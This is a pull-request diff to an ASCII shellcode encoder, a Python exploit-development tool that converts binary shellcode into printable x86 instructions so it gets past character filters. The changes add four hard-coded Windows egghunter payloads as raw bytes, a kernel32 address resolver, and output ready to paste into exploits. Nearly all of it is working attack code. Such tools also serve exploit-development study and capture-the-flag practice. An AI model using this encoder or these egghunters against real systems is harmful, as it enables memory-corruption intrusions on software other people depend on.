Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
100 changes: 62 additions & 38 deletions ascii-shellcode-encoder.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,9 +8,7 @@
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving
# ESP value to the EAX, then by adding to the EAX value 0x16CA then by
# setting ESP with such resulted EAX. It means that the final decoded shellcode
# will get stored in the stack, by 0x16CA bytes away from current stack address.
# ESP value to the EAX.
#
# Obviously, this encoder will not be working under DEP/W^X environments.
#
Expand All @@ -24,6 +22,7 @@
import struct
import ctypes
import sys
import ctypes

# ================================================
# OPTIONS
Expand All @@ -35,6 +34,9 @@
# Be more verbose.
DEBUG = False

# Egghunter tag.
TAG = 'w00t'

# Set it to True in order to always prepend ZERO-EAX primitive before
# sequence of SUB operations. The `gen` routine will then operate on
# previous value being always 0x00000000 instead of previously held in
Expand All @@ -56,14 +58,6 @@
# 25 3532312A AND EAX,2A313235
'zero-eax': '%JMNU%521*',

# Aligns a stack address that the EAX will take, by
# adding value of 0x1688 to the EAX register
# 2D 41373737 SUB EAX, 37373741
# 2D 69252525 SUB EAX, 25252569
# 2D 72324949 SUB EAX, 49493272
# 2D 5C5A5A5A SUB EAX, 5A5A5A5C
'eax-stack-align' : '-A777-i%%%-r2II-\\ZZZ',

# Sets ESP (stack pointer) to EAX
# 50 PUSH EAX
# 5c POP ESP
Expand All @@ -86,6 +80,13 @@
class InvalidCharResulted(Exception):
pass

def resolve_function(dll, func):
kernel32 = ctypes.windll.kernel32
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, func)
kernel32.CloseHandle(handle)
return address

def dbg(x, raw = False):
if DEBUG:
if raw:
Expand Down Expand Up @@ -295,10 +296,11 @@ def process(inp, prepend_init = True):
out = ''

if prepend_init:
out += primitives['zero-eax']
out += primitives['set-eax-to-esp']
out += primitives['eax-stack-align']
out += primitives['set-esp-to-eax']
# Align ESP:
# ESP >= (EIP+adding_value+resulted_length+buffer_size)
# * adding_value = 0x15 bytes + set-esp-to-eax 0x2 bytes = 0x17 bytes
#out += primitives['set-esp-to-eax']

if not PREPEND_ZERO_OUT:
out += primitives['zero-eax']
Expand All @@ -318,31 +320,42 @@ def process(inp, prepend_init = True):
out += primitives['zero-eax']
else:
prev = dword
out += instr + primitives['store-on-stack']
if(prepend_init):
out += instr + primitives['store-on-stack']
else:
out += instr


return out

def usage():
print '''
:: printable-shellcode.py - Utility generating a ASCII-printable shellcode
out of provided binary file (ASCII encoder).
Mariusz B. / mgeeky, '17

Algorithm based on terrific `dissembler` tool by Phiral Research Labs,
by Jon Erickson <matrix@phiral.com>

printable-shellcode.py - Utility generating a ASCII-printable shellcode
out of provided binary file (ASCII encoder).
Mariusz B. / mgeeky, '17
Algorithm based on terrific `dissembler` tool by Phiral Research Labs,
by Jon Erickson <matrix@phiral.com>
Custom by UND3R <contacto@pwnedchile.com>
Usage:
printable-shellcode.py <input-file|0xValue> <output-file>

printable-shellcode.py <input-file|0xDWORD> <output-file>
Where:
input-file - input file containing shellcode, '-' for stdin or 'EGG' for
standard T00WT00W 32-bit windows egghunter
0xValue - single DWORD value, prepended with 0x to encode.
input-file - input file containing shellcode or
'EGG1' for SEH egghunter or
'EGG2' for IsBadReadPtr egghunter or
'EGG3' for NtDisplayString egghunter or
'EGG4' for NtAccessCheckAndAuditAlarm egghunter.

note: the default egghunter tag is 'w00t'.
0xDWORD - single DWORD value, prepended with 0x to encode.
output-file - file to store result of ASCII encoding, or '-' for stdout
'''

def display_output(out):
def display_output(out, var_type):
if var_type == 1:
var_text = 'dword'
elif var_type == 2:
var_text = 'egghunter'
else:
var_text = 'shellcode'
print '[+] SHELLCODE ENCODED PROPERLY. Resulted length: %d bytes' % (len(out))
print
print '-' * 80
Expand All @@ -355,11 +368,11 @@ def display_output(out):
print '[+] ESCAPED-HEX FORM:'
print ''.join(['\\x%02x' % ord(c) for c in out])
print
print '[+] PYTHON COMPACT SEXY FORM:'
buf = '\tshellcode += r"'
print '[+] PYTHON COMPACT FORM:'
buf = var_text + ' = r"'
for i in range(len(out)):
if i % 20 == 0 and i > 0:
buf += '"\n\tshellcode += r"'
buf += '"\n' + var_text + ' += r"'
buf += out[i]
buf += '"'
print buf
Expand Down Expand Up @@ -390,16 +403,27 @@ def main():
input_bytes = []
prepend_init = True

if sys.argv[1] == '-':
input_bytes = sys.stdin.read()
elif sys.argv[1].startswith('0x'):
if sys.argv[1].startswith('0x'):
input_bytes = ''.join([chr(c) for c in decompose(int(sys.argv[1], 16))])
prepend_init = False
elif sys.argv[1] == 'EGG':
input_bytes = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
var_type = 1
elif sys.argv[1] == 'EGG1':
input_bytes = '\xeb\x21\x59\xb8' + TAG + '\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3'
var_type = 2
elif sys.argv[1] == 'EGG2':
address = resolve_function('kernel32.dll', 'IsBadReadPtr')
input_bytes = '\x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08\x53\xb8' + struct.pack("<I", address) + '\xff\xd0\x85\xc0\x75\xec\xb8' + TAG + '\x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7'
var_type = 2
elif sys.argv[1] == 'EGG3':
input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7'
var_type = 2
elif sys.argv[1] == 'EGG4':
input_bytes = '\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8' + TAG + '\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7'
var_type = 2
else:
with open(sys.argv[1], 'rb') as f:
input_bytes = f.read()
var_type = 3

print '[*] Input buffer size: %d bytes.' % (len(input_bytes))

Expand All @@ -410,7 +434,7 @@ def main():
out = process(input_bytes, prepend_init)
if out:
success = True
display_output(out)
display_output(out, var_type)
if len(sys.argv) > 2 and sys.argv[2] != '-':
with open(sys.argv[2], 'wb') as f:
f.write(out)
Expand Down